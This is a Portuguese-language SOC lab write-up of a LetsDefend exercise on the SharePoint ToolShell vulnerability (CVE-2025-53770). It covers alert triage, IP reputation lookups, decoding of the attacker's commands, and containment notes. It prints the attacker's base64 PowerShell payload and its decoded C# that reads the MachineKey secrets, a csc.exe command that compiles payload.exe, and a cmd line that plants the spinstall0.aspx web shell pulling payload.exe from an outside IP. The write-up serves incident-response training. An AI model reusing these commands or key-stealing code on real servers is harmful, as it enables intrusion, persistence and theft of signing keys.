Passo a passo da exploração do CVE-2025-53770 (ToolShell) em um laboratório LetsDefend, abrangendo RCE, implantação de web shell e análise de resposta a incidentes.
TL;DR Ei, neste laboratório do LetsDefend mergulhei em um zero-day do SharePoint chamado ToolShell (CVE-2025-53770). Basicamente, simulei um ataque real onde uma requisição POST maliciosa contornou a autenticação, executou PowerShell para roubar chaves MachineKeySection, compilou payload.exe e instalou uma web shell (spinstall0.aspx). Registrei tudo, analisei o comportamento e contive o host. Este README cobre o ataque, meus passos e lições aprendidas.
Visão Geral do Laboratório
Ferramentas Utilizadas:
Windows PowerShell
VirusTotal
AbuseIPDB
Gerenciamento de Logs LetsDefend
Segurança de Endpoint LetsDefend
Inteligência de Ameaças LetsDefend


EventID : 320
Hora do Evento : 22 de julho de 2025, 01:07 PM
Regra : SOC342 - CVE‑2025‑53770 SharePoint ToolShell Bypass de Autenticação e RCE
Nível : Analista de Segurança
Hostname : SharePoint01
Endereço IP de Origem : 107.191.58.76
Endereço IP de Destino : 172.16.20.17
Método da Requisição HTTP : POST
URL Requisitada : /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer : /_layouts/SignOut.aspx
Content-Length : 7699
Motivo do Disparo do Alerta : Requisição POST não autenticada suspeita direcionada ao ToolPane.aspx com tamanho de payload grande e referer falsificado indicativo de exploração do CVE-2025-53770.
Ação do Dispositivo : Permitido
Visão Geral Em 22 de julho de 2025, nosso monitoramento de segurança sinalizou um ataque crítico de zero-day contra uma instância on-premises do SharePoint Server chamada SharePoint01.
Detalhes do CVE:
Catálogo CISA KEV: Entrada publicada em 20 de julho de 2025
Vetor de Ataque: Requisição POST ao endpoint /ToolPane.aspx, cabeçalho referer falsificado, payload malicioso grande
Origem: IP 107.191.58.76, Vultr Holdings, LLC, EUA
Sobre o SharePoint O Microsoft SharePoint é a espinha dorsal da colaboração empresarial e gerenciamento de documentos. É essencialmente um espaço seguro e organizado em nuvem para arquivos, fluxos de trabalho e aplicativos internos.
Usos Principais:
Gerenciamento de Documentos: Versionamento, trilhas de auditoria, controle de arquivos
Colaboração: Vários usuários editando o mesmo documento simultaneamente
Portais Web Internos: Notícias, atualizações, informações de RH, políticas
Fluxos de Trabalho Automatizados: Aprovações, formulários, notificações
Integração: Fortemente ligado ao Teams, Outlook, Pacote Office, Power BI
Considerações de Segurança:
Autenticação: AD ou SSO
Criptografia: Dados em repouso e em trânsito
Web Parts & Layouts: Podem ser explorados se mal configurados
Gerenciamento de Patches: Crítico para prevenir ataques de zero-day
CVE-2025-53770, também chamado de ToolShell, é um zero-day do SharePoint explorado ativamente na natureza. É uma vulnerabilidade crítica de desserialização em servidores Microsoft SharePoint on-premises que permite execução remota de código (RCE) não autenticada. Ele se combina com outras falhas do SharePoint (CVE-2025-49704 e CVE-2025-49706) para comprometer totalmente os sistemas. Possui uma pontuação CVSS de 9.8, o que significa que é crítico.
Eles enviam web shells maliciosas como spinstall0.aspx através do endpoint ToolPane.aspx usando cabeçalhos referer falsificados para contornar a autenticação.
Eles extraem valores críticos de MachineKey da configuração do SharePoint para gerar payloads ViewState confiáveis para acesso persistente.
e posteriormente implantam ransomware (por exemplo, a variante "Warlock") ou exfiltram credenciais e configuram backdoors.
Primeira divulgação pública: 19 de julho de 2025 (blog da Microsoft)
Patches lançados: 20–21 de julho de 2025
Entrada no catálogo KEV da CISA: 20 de julho de 2025
Analisei o endereço IP do remetente (IP de Origem) no VirusTotal
Endereço IP de Origem : 107.191.58.76

Com isso já sei que o IP é malicioso
Agora preciso pesquisar a localização do IP com a ajuda do AbuseIPDB

Foi o que obtive:
ISP : Vultr Holdings, LLC
Tipo de Uso - Data Center/Web Hosting/Trânsito
ASN - AS20473
Hostname(s) - 107.191.58.76.vultrusercontent.com
Nome de Domínio - vultr.com
País - Estados Unidos da América
Cidade - Los Angeles, Califórnia
IP conhecido por hacking, força bruta, ataque a aplicações web, varredura de portas, envenenamento de DNS
Como um Analista Júnior resolvendo isso como procedi primeiro procurei o host na segurança de endpoint com o nome "SharePoint01".

após localizar o host, fui ao histórico do terminal, encontrei uma linha de comando

o que está acontecendo no comando?
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
→ Executa o PowerShell diretamente do diretório do sistema.
-nop
→ Sem perfil — ignora scripts de perfil do PowerShell para evitar detecção ou interferência.
-w hidden
→ Executa com janela oculta para que o usuário não veja.
-e
vamos decodificar isso
"PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="
Passo 1: Reconhecimento e Captura de Payload
Requisição POST capturada para /ToolPane.aspx:
POST /_layouts/15/ToolPane.aspx HTTP/1.1 Host: sharepoint01.lab Content-Type: application/x-www-form-urlencoded Content-Length: 1452 Referer: http://sharepoint01.lab/_layouts/15/settings.aspx User-Agent: Mozilla/5.0 Payload=BASE64_ENCODED_POWERSHELL_PAYLOAD_HERE
Método: Requisição POST para /ToolPane.aspx contornando autenticação
Payload: Script PowerShell grande, ofuscado e codificado em Base64
Cabeçalho Referer: Falsificado para ocultar a origem
Passo 2: Execução e Exploração:
Prossegui para decodificar o script/payload em um decodificador Base64
decodificado com base64 e obtive isso
"<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page\_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object\[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}

Deixe-me explicar o que o script acima faz
Ele importa:
-System.Diagnostics
-System.IO
⦁ e depois executa um script C# inline dentro do PowerShell que:
-Carrega os assemblies System.Web
-Acessa System.Web.Configuration.MachineKeySection
-Recupera as chaves de validação e descriptografia do web.config da máquina
-E as escreve na resposta, provavelmente exfiltrando-as para um atacante
o atacante continuou enviando este próximo comando
""C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs"
-csc.exe - um compilador C# do .NET framework
-depois instrui o compilador a salvar este "payload.exe" no host
este payload pode ser um malware
Próxima linha de comando do atacante
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
O que faz
"C:\Windows\System32\cmd.exe" /c -
Executa o seguinte comando no Prompt de Comando e depois termina.
echo <form runat=\"server\"> ... </form>-
Escreve um pequeno trecho de marcação ASP.NET que será executada no servidor SharePoint.
A marcação contém:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> -
Este CLSID é o controle ActiveX Shell (usado para executar comandos shell ou ações especiais no contexto IE/COM).
<param name="Command" value="Redirect"> -
Diz ao objeto qual ação executar.
<param name="Url" value="http://107.191.58.76/payload.exe"> -
Aponta para um EXE malicioso hospedado em um servidor remoto — muito provavelmente o malware real deles.
Próxima linha de comando do atacante
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
Novamente, o que faz :
"C:\Windows\System32\cmd.exe" /c -
Executa o seguinte comando no Prompt de Comando e depois termina.
echo <form runat=\"server\"> ... </form> -
Escreve um pequeno trecho de marcação ASP.NET que será executada no servidor SharePoint.
E também
A marcação contém:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
Este CLSID é o controle ActiveX Shell (usado para executar comandos shell ou ações especiais no contexto IE/COM).
<param name="Command" value="Redirect">-
Diz ao objeto qual ação executar.
<param name="Url" value="http://107.191.58.76/payload.exe"> -
Aponta para um EXE malicioso hospedado em um servidor remoto — muito provavelmente o malware real deles.
> C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS\\spinstall0.aspx -
Salva todo esse HTML/ASP.NET malicioso como spinstall0.aspx dentro da pasta layouts do SharePoint.
Qualquer coisa nesta pasta pode ser acessada navegando para a URL correta no site do SharePoint, ou seja, o atacante agora tem uma página web no seu servidor que aciona a ação maliciosa.
As linhas de comando que encontrei estão abaixo:


Após confirmar que isso é arriscado, fui explorar os processos no host.
parece suspeito, cheio de muitos caminhos de arquivo e exe
só por curiosidade, fui ao gerenciamento de logs e pesquisei o IP malicioso nos logs.
vi um log bruto com uma requisição post
com um refere - /_layouts/SignOut.aspx
Fui verificar se o ataque foi bem-sucedido.
Sabe de uma coisa? Foi, então agora tenho que conter para o SOC2
Esta é minha nota de analista:
Detectamos um ataque crítico explorando uma vulnerabilidade zero-day chamada ToolShell (CVE-2025-53770) em um servidor SharePoint on-premises chamado SharePoint01. O atacante, de um IP malicioso conhecido (107.191.58.76), enviou uma requisição POST não autenticada com um payload enorme para um endpoint do SharePoint (ToolPane.aspx), contornando a autenticação para executar código remoto no servidor.
Aprofundando, o atacante executou comandos PowerShell ocultos que decodificaram scripts base64 para roubar valores sensíveis de MachineKey do SharePoint, permitindo que eles criassem payloads confiáveis. Compilaram um executável malicioso no host, depois plantaram uma web shell (spinstall0.aspx) na pasta layouts do SharePoint que baixa e executa malware do servidor deles, fornecendo acesso persistente de backdoor.
Após confirmar o comprometimento, contivemos o host afetado e recomendamos aplicação imediata de patches, já que as correções foram lançadas apenas dias antes. Também estamos escaneando outras web shells, monitorando ransomware ou roubo de dados, e aconselhando segurança mais rigorosa em torno dos servidores SharePoint para evitar danos adicionais.
E a Nota para a Equipe:
Nota para a equipe: Olá equipe, detectamos uma exploração crítica do zero-day ToolShell (CVE-2025-53770) em nosso servidor SharePoint (SharePoint01). Um atacante usou uma requisição POST não autenticada para contornar a autenticação e executar código remoto, começando com um grande payload suspeito direcionado ao ToolPane.aspx.
O atacante executou comandos PowerShell ocultos para roubar chaves sensíveis do machine key do SharePoint, depois compilou e soltou um executável malicioso no sistema. Eles também criaram uma web shell (spinstall0.aspx) na pasta layouts do SharePoint, que baixa e executa malware de um servidor externo, potencialmente dando a eles controle persistente.
Contivemos o host comprometido e recomendamos aplicação urgente de patches, já que as correções foram lançadas recentemente. Também estamos escaneando web shells semelhantes e monitorando sinais de ransomware ou exfiltração de dados. Vamos ficar alertas e reforçar a segurança do SharePoint daqui para frente.
Este é meu resultado
